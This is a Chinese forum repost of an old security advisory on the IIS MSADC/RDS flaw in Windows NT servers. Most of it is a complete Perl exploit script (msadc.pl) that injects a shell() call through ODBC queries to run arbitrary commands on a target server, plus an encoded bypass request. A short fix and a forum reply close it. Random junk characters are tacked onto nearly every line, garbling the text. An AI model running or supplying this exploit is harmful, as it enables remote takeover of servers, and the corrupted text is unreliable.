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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W"-EC`nP  
ST: v3*  
涉及程序: UN*dU  
Microsoft NT server r,3Ww2X-  
Fp5NRM*-!  
描述:  hmBnV  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \za5:?[xB  
r%y;8$/-  
详细: mo|PrLV  
如果你没有时间读详细内容的话,就删除: 7~kpRa@\P  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4>$ ;gH  
有关的安全问题就没有了。 ^p"4)6p-W  
KkdG.c'  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 h/1nm U]  
hsHVX[<5`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 D%jD 8p  
关于利用ODBC远程漏洞的描述,请参看: hi {2h04  
foFg((tS  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \3Q:K |  
"#-Nqq  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 mmrW`~-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "[Qb'9/Jc  
h;EwkbDQg>  
这里不再论述。 nE]~E xr  
;.nP%jD  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: FVsu8z u  
X(r)Z\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset u=@h`5-fp  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! j8[`~p b  
'R4>CZ%jV  
:]B% >*;}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" P"R97#C  
VY+(,\ )U  
#!perl \~gA+ o}Q  
# e;A^.\SP  
# MSADC/RDS 'usage' (aka exploit) script ;Cr_NP[8|j  
# A*7Io4e!  
# by rain.forest.puppy L.09\1?.n  
# W{fULl  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +A8=R%&b)[  
# beta test and find errors! Kk!6B  
%rpR-}j  
use Socket; use Getopt::Std; ]]p19[4s  
getopts("e:vd:h:XR", \%args); ]z-']R;  
l zfD)TWb  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; vp\PYg;x  
v>#Cg \  
if (!defined $args{h} && !defined $args{R}) { [{S;%Jj*X/  
print qq~ 2Vz'n@g=  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Sni&?tcY  
-h <host> = host you want to scan (ip or domain) @9OeC O  
-d <seconds> = delay between calls, default 1 second G 2%  
-X = dump Index Server path table, if available [;(]Jy  
-v = verbose tA`mD>[  
-e = external dictionary file for step 5 *.kj]BoO  
>DDQ'W!  
Or a -R will resume a command session O" % Hprx  
E$]a?uA:  
~; exit;} m >]>$=%  
RH!SW2o<  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; H|PrsGW  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -Bo86t)F  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *'Z-OY<V  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); wrH7 pd  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} jZXVsd  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } LQh^; ]^(  
wqJ*%  
if (!defined $args{R}){ $ret = &has_msadc; a`7%A H)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} OOCQsoN  
E^b pckP  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {iA^rv|  
. "cmd /c "; q<-%L1kc 1  
$in=<STDIN>; chomp $in; oJP< 'l1  
$command="cmd /c " . $in ; ?Wwh _TO  
$z= 0[%L  
if (defined $args{R}) {&load; exit;} = y?#^  
h6g=$8E  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; NNwc!x)*  
&try_btcustmr; (N,nux(0k  
|WB"=PE  
print "\nStep 2: Trying to make our own DSN..."; WI,40&<  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Cf Qf7-  
fH-NU-"  
print "\nStep 3: Trying known DSNs..."; j h; 9 [  
&known_dsn; ( FM4 ^#6  
Hab!qWK`  
print "\nStep 4: Trying known .mdbs..."; OZG0AX+=#  
&known_mdb; 66oK3%[  
S*4f%!  
if (defined $args{e}){ Xa4GqV9M/-  
print "\nStep 5: Trying dictionary of DSN names..."; f.@Xjf  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } '4$lL 6ly>  
R"NGJu9  
print "Sorry Charley...maybe next time?\n"; ppEJs  
exit; S,lxM,DL&  
doLkrEm&  
############################################################################## smV!y8&  
dY1J<L}")  
sub sendraw { # ripped and modded from whisker hQJo ~'W=  
sleep($delay); # it's a DoS on the server! At least on mine... [u[ U_g*  
my ($pstr)=@_; (G#}*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iDZrK%f l  
die("Socket problems\n"); M /"gf;)q>  
if(connect(S,pack "SnA4x8",2,80,$target)){ W3^.5I  
select(S); $|=1; ~NxEc8Y  
print $pstr; my @in=<S>; l$M$o(  
select(STDOUT); close(S); ~ 9=27 p  
return @in; 3Q",9(D  
} else { die("Can't connect...\n"); }} .%_)*NUZ  
4&|C}  
############################################################################## )B81i! q  
TfL4_IAG.  
sub make_header { # make the HTTP request G=1m] >I8  
my $msadc=<<EOT -)X{n?i  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 3 :UA<&=s  
User-Agent: ACTIVEDATA NW)M?f+6  
Host: $ip rw&y,%2  
Content-Length: $clen Yr+d1(  
Connection: Keep-Alive VQ2Fnb4  
[6_"^jgH  
ADCClientVersion:01.06 N?$7 Z v[G  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 !#.\QU|  
sv' Gt1&"Z  
--!ADM!ROX!YOUR!WORLD! 9[kX/#~W*  
Content-Type: application/x-varg e|VJ9|;3  
Content-Length: $reqlen :.DI_XN`  
0F^]A"kF  
EOT }?J~P%HpF  
; $msadc=~s/\n/\r\n/g; 82|q7*M*.  
return $msadc;} zwnw'  
}hCaNQ&jH  
############################################################################## Ss 2$n  
0rcjorWI  
sub make_req { # make the RDS request ^PC\E}  
my ($switch, $p1, $p2)=@_; xo(k?+P>.  
my $req=""; my $t1, $t2, $query, $dsn; IQIbz{bMx  
$Buf#8)F*  
if ($switch==1){ # this is the btcustmr.mdb query )i0 $j)R  
$query="Select * from Customers where City=" . make_shell(); U,HIB^= R  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . lj*8mS/;h  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} X($6IL6m  
} %+qP +O\  
elsif ($switch==2){ # this is general make table query Y[ ?`\c|  
$query="create table AZZ (B int, C varchar(10))"; LP,9<&"<  
$dsn="$p1";} v{.\iIg N  
66 N)  
elsif ($switch==3){ # this is general exploit table query _#FIay\ahB  
$query="select * from AZZ where C=" . make_shell(); c#  xO<  
$dsn="$p1";} {|XQO'Wg  
AVv#\JrRW  
elsif ($switch==4){ # attempt to hork file info from index server l~['[Ub0)  
$query="select path from scope()"; !y%+GwoW  
$dsn="Provider=MSIDXS;";} :c=v}  
pisB,wP$2  
elsif ($switch==5){ # bad query 7 W{~f?Sh  
$query="select"; 9^!wUwB  
$dsn="$p1";} x<s|vgl|  
n8$=f'Hgb  
$t1= make_unicode($query); n$YE !D'  
$t2= make_unicode($dsn); 2m\m/O  
$req = "\x02\x00\x03\x00"; -E]Sk&4Gj  
$req.= "\x08\x00" . pack ("S1", length($t1)); lBmm(<~Z  
$req.= "\x00\x00" . $t1 ; b_l3+'#ofM  
$req.= "\x08\x00" . pack ("S1", length($t2)); ESIzGaM  
$req.= "\x00\x00" . $t2 ; 5U~OP  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Af9+HI O  
return $req;} "J !}3)n  
(f~gEKcB2u  
##############################################################################  uB;_vC  
&n|*uLn  
sub make_shell { # this makes the shell() statement -;>#3 O-  
return "'|shell(\"$command\")|'";} [f/.!@sj  
um[!|g/  
############################################################################## rrcwtLNbu  
MRs,l'  
sub make_unicode { # quick little function to convert to unicode sPy2/7Wqd  
my ($in)=@_; my $out; IA2GUnUhu  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } b=1%pX_  
return $out;} z,x" a  
1ef'7a7e8  
##############################################################################  w;+ br  
_f3 WRyN0  
sub rdo_success { # checks for RDO return success (this is kludge) (Y2m md  
my (@in) = @_; my $base=content_start(@in); _q)!B,y-/N  
if($in[$base]=~/multipart\/mixed/){ k2p'G')H  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} LN^UC$[tk  
return 0;} {zP#woz2Q  
9 mPIykAj8  
############################################################################## 'gDe3@ci!  
!| xZ6KV  
sub make_dsn { # this makes a DSN for us 4LsHs   
my @drives=("c","d","e","f"); ) * TF"  
print "\nMaking DSN: "; 9U^$.Lb  
foreach $drive (@drives) { QrC/ssf}  
print "$drive: "; k_?~<vTM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Hbk&6kS  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" FJT1i@N  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); XsUUJuCG  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; /.P9MSz0G  
return 0 if $2 eq "404"; # not found/doesn't exist 2xn<E>]  
if($2 eq "200") { BS7J#8cu  
foreach $line (@results) { <uD qYT$6  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} aD ESr?  
} return 0;} .oR3Q/|k]  
[N:BM% FQ  
############################################################################## 6Y7H|>g)  
<GF@L  
sub verify_exists { yU7I;]YP  
my ($page)=@_; sx5r(0Z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); SY1GR n  
return $results[0];} 5+K;_)   
:<GfETIs  
############################################################################## -=)-sm'  
q8sb n  
sub try_btcustmr { ,J(lJ,c  
my @drives=("c","d","e","f"); S0LszW)e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RtC'v";6  
-e ml  
foreach $dir (@dirs) { g1 9S  
print "$dir -> "; # fun status so you can see progress }fA;7GW+9  
foreach $drive (@drives) { ?z=\Ye5x  
print "$drive: "; # ditto 3taa^e.  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 3SNL5  
$reqlenlen=length( "$reqlen" ); a2yE:16o6  
$clen= 206 + $reqlenlen + $reqlen; 1b3(  
iF9_b  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); B1$ikY  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vv.PF~:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} YH\j@ ^n  
|pW\Ec#(  
############################################################################## {Q~7M$  
aFY u}kl  
sub odbc_error {  KG8W8&q  
my (@in)=@_; my $base; J :S'uxM  
my $base = content_start(@in); u 9]1X1wV  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Y"!uU.=xJ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7pet Hi  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ll<mE,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |0 !I5|<k  
return $in[$base+4].$in[$base+5].$in[$base+6];} <o0~H  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; m^I,}1H4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . w`gyE 6A  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} r,xmEj0E  
E>pVn2|  
############################################################################## fbC~WV#  
M35Ax],:^  
sub verbose { Bo r7]#  
my ($in)=@_; y3IWfiz>/d  
return if !$verbose; ssl&5AS  
print STDOUT "\n$in\n";} 8h.V4/?  
oT&m4I  
############################################################################## gyu6YD8L  
%fhNxR  
sub save { !/hsJ9  
my ($p1, $p2, $p3, $p4)=@_; 2P9J' L  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; BQjGv?p0s  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; n?E}b$6  
close OUT;} Fr5 Xp  
3z[ $4L'.  
############################################################################## 2z\;Q8g){r  
p=gX !4,9<  
sub load { S " pI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; B?6QMC;  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); iiNSDc  
@p=<IN>; close(IN); `.^ |]|u  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); u) *Kws  
$target= inet_aton($ip) || die("inet_aton problems"); WRpyr  
print "Resuming to $ip ..."; eVt1d2.O  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; AK2WN#u@Z  
if($p[1]==1) { n29(!10Px  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; j*zD0I]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; q;A;H)?g  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); CMl~=[foW  
if (rdo_success(@results)){print "Success!\n";} vV^dm)?  
else { print "failed\n"; verbose(odbc_error(@results));}} Dp!zk}f|  
elsif ($p[1]==3){ ]b}B2F'n  
if(run_query("$p[3]")){ &erm`Ho  
print "Success!\n";} else { print "failed\n"; }} DDw''  
elsif ($p[1]==4){ MFwO9"<A  
if(run_query($drvst . "$p[3]")){ YBjdp=als  
print "Success!\n"; } else { print "failed\n"; }} YD&_^3-XM  
exit;} KQmZ#W%2m  
#jS[  
############################################################################## _H\<[-l  
ebM{OI  
sub create_table { 3?E}t*/  
my ($in)=@_; dGkg aC+  
$reqlen=length( make_req(2,$in,"") ) - 28; &Lt@} 7$8  
$reqlenlen=length( "$reqlen" ); C2/}d? bki  
$clen= 206 + $reqlenlen + $reqlen; h6M;0_'  
my @results=sendraw(make_header() . make_req(2,$in,"")); \ =nrt?  
return 1 if rdo_success(@results); 36$[   
my $temp= odbc_error(@results); verbose($temp); J(iV0LAZb  
return 1 if $temp=~/Table 'AZZ' already exists/; "2hh-L7ql  
return 0;} |4C^$  
LE;g 0s  
############################################################################## '6S%9ahE  
+>YfRqz:KB  
sub known_dsn { ~&g a1r2v?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go urZ8j?}c  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )2.)3w1_4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", PC/!9s 0W  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~UPZ<  
EUcKN1  
foreach $dSn (@dsns) { +m/,,+4  
print "."; 2 ZG@!Y|  
next if (!is_access("DSN=$dSn")); <Ar$v'W=F{  
if(create_table("DSN=$dSn")){ Yx%bn?%;&  
print "$dSn successful\n"; !B^K[2`)N  
if(run_query("DSN=$dSn")){ 1"]P`SY$r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `s /?b|,  
print "Something's borked. Use verbose next time\n";}}} print "\n";} YQVcECj  
fL6e?\Pw  
############################################################################## ?[TW<Yx  
8^ #mvHah  
sub is_access { DTY<0Q.  
my ($in)=@_; FvXqggfGv  
$reqlen=length( make_req(5,$in,"") ) - 28; j _ ;fWBD:  
$reqlenlen=length( "$reqlen" ); z<n-Gzwk  
$clen= 206 + $reqlenlen + $reqlen; tXq)nfGe{  
my @results=sendraw(make_header() . make_req(5,$in,"")); wE Qi0!  
my $temp= odbc_error(@results); FPv" N'/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &jf7k <^  
return 0;} )=_ycf^MC  
]QrR1Rg  
############################################################################## #`ejU&!6  
GYK\LHCPd  
sub run_query { JN[0L:  
my ($in)=@_; m*n5zi|O  
$reqlen=length( make_req(3,$in,"") ) - 28; @Icq1zb] y  
$reqlenlen=length( "$reqlen" ); ClQe4uo{  
$clen= 206 + $reqlenlen + $reqlen; k-jahm4  
my @results=sendraw(make_header() . make_req(3,$in,"")); CL9yEy"V  
return 1 if rdo_success(@results); r"]'`qP,  
my $temp= odbc_error(@results); verbose($temp); W{Z^n(f4  
return 0;} GozPvR^/  
]U_ec*a  
############################################################################## ^T079=$5  
\}dyS8  
sub known_mdb { OW5t[~y]  
my @drives=("c","d","e","f","g"); id,NONb\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _vl}*/=Hc  
my $dir, $drive, $mdb; 4JMiyiW&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; X0uJNHO  
yyP-=Lhmo=  
# this is sparse, because I don't know of many iRw&49  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r>|-2}{N/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @;)PSp*j  
"\\system32\\certmdb.mdb", ht6244:  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vg\/DbI'  
-9+se  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Z4q~@|+%  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U A-7nb  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }Dfwm)]Q  
"\\cfusion\\cfapps\\security\\realm_.mdb", <hvRP!~<)  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 1>pe&n/  
"\\cfusion\\database\\cfexamples.mdb", J;QUPpH Z  
"\\cfusion\\database\\cfsnippets.mdb", $G !R,eQ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", I:=dG[\h2  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", sYn[uPefj  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ls|LCQPx  
"\\cfusion\\database\\smpolicy.mdb", 82:Wvp6  
"\\cfusion\\database\cypress.mdb", 74J@F2g}?  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "/+zMLY  
"\\website\\cgi-win\\dbsample.mdb", Qn+:/ zA;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", s~L</Xvo  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 7P**:b  
); #these are just <$i4?)f(  
foreach $drive (@drives) { <bUe/m  
foreach $dir (@dirs){ ,+1m`9}  
foreach $mdb (@sysmdbs) { X.#oEmA ,P  
print "."; w{,4rk;Hr  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }31Z X  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; &m'kI  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ zG9|K  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ?IhB-fd>@  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Sc$UZ/qPT  
$g\&5sstE  
foreach $drive (@drives) { ]z ==   
foreach $mdb (@mdbs) { ]r/^9XaqtA  
print "."; d7Ro}>lp  
if(create_table($drv . $drive . $dir . $mdb)){ Xu}U{x>  
print "\n" . $drive . $dir . $mdb . " successful\n"; \caH pof  
if(run_query($drv . $drive . $dir . $mdb)){ FN87^.^2S  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; MDO$m g  
} else { print "Something's borked. Use verbose next time\n"; }}}} PuCc2'#  
} )&W**!(C  
WFv!Pbq,  
############################################################################## ,.mBJ SE3  
}iiHr|l3  
sub hork_idx { S2^>6/[xM  
print "\nAttempting to dump Index Server tables...\n"; {qpi?oY  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ZxHJ<2oD  
$reqlen=length( make_req(4,"","") ) - 28; #1/}3+=5B  
$reqlenlen=length( "$reqlen" ); gNj7@bX~  
$clen= 206 + $reqlenlen + $reqlen; SN Y (*  
my @results=sendraw2(make_header() . make_req(4,"","")); $dg9z}D  
if (rdo_success(@results)){ c:hK$C)T  
my $max=@results; my $c; my %d; l54 m22pfv  
for($c=19; $c<$max; $c++){ vNDu9ovs-  
$results[$c]=~s/\x00//g; 3Qn!y\#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; mY-hN|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Le#spvV3J|  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 1|| nR4yK  
$d{"$1$2"}="";} vF={9G  
foreach $c (keys %d){ print "$c\n"; } "8<K'zeS8  
} else {print "Index server doesn't seem to be installed.\n"; }} m#5_%3T  
B#l?IB~  
############################################################################## = !2NU  
K`6z&*  
sub dsn_dict { :%4imgY`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ngy=!g?Hk=  
while(<IN>){ ~}ovuf=%  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; m,MSMw1p  
next if (!is_access("DSN=$dSn")); dQ:cYNm  
if(create_table("DSN=$dSn")){ I9 64  
print "$dSn successful\n"; fg*@<'  
if(run_query("DSN=$dSn")){ OI/@3"L{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { W<,F28jI3v  
print "Something's borked. Use verbose next time\n";}}} x_<qzlQt  
print "\n"; close(IN);} jgu*Y{ocm  
-"TR\/  
############################################################################## Oe!6){OG)  
zr_yO`{  
sub sendraw2 { # ripped and modded from whisker W6/ @W  
sleep($delay); # it's a DoS on the server! At least on mine... b]fzRdhl  
my ($pstr)=@_; L36Yx7gT<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -K %5(Eg  
die("Socket problems\n"); K 1#ji*Tp  
if(connect(S,pack "SnA4x8",2,80,$target)){ v/Pw9j!r;m  
print "Connected. Getting data"; +s[\g>i  
open(OUT,">raw.out"); my @in; 2& LQg=O  
select(S); $|=1; print $pstr; aMuVqZw  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} }SfbCa)UO  
close(OUT); select(STDOUT); close(S); return @in; VG@};dwbz*  
} else { die("Can't connect...\n"); }} 6[P-Ny{z  
6^F '|Wh  
############################################################################## q!lP"J  
P,xwSvO#M  
sub content_start { # this will take in the server headers '+y_\  
my (@in)=@_; my $c; wa09$4>_w  
for ($c=1;$c<500;$c++) { 4B[D/kIg  
if($in[$c] =~/^\x0d\x0a/){ zc+@lJy  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } J%rP$O$  
else { return $c+1; }}} XEH}4;C'{  
return -1;} # it should never get here actually rNN j0zw>  
uGH?N  
############################################################################## LF<wt2?*  
-_A$DM!^=w  
sub funky { \Ad7 Gi~  
my (@in)=@_; my $error=odbc_error(@in); kBWrqZ6  
if($error=~/ADO could not find the specified provider/){ ]`o!1(GA  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Ud%s^A-qS  
exit;} =\kMXB  
if($error=~/A Handler is required/){ {3\R|tZh,`  
print "\nServer has custom handler filters (they most likely are patched)\n"; wxQ>ifi9Z  
exit;} 0~WF{_0|  
if($error=~/specified Handler has denied Access/){ J5p8nmb  
print "\nServer has custom handler filters (they most likely are patched)\n"; &l2TeC@;  
exit;}} .TB"eUy  
\_]En43mg  
############################################################################## H=c`&N7E  
;O#g"8  
sub has_msadc { NTs7KSgZ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vp)Vb^K>  
my $base=content_start(@results); /YKMKtE  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); OYL]j{  
return 0;} E#%}ZY  
S -&)p@4  
######################## 8/%6@Y"Y*  
W[''Cc.  
!7p}C-RZp  
解决方案: 2b@tj 5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll z}4L=KR\v  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P.\nLE J=  
v1G"3fy9  
拿出来充数 哈哈
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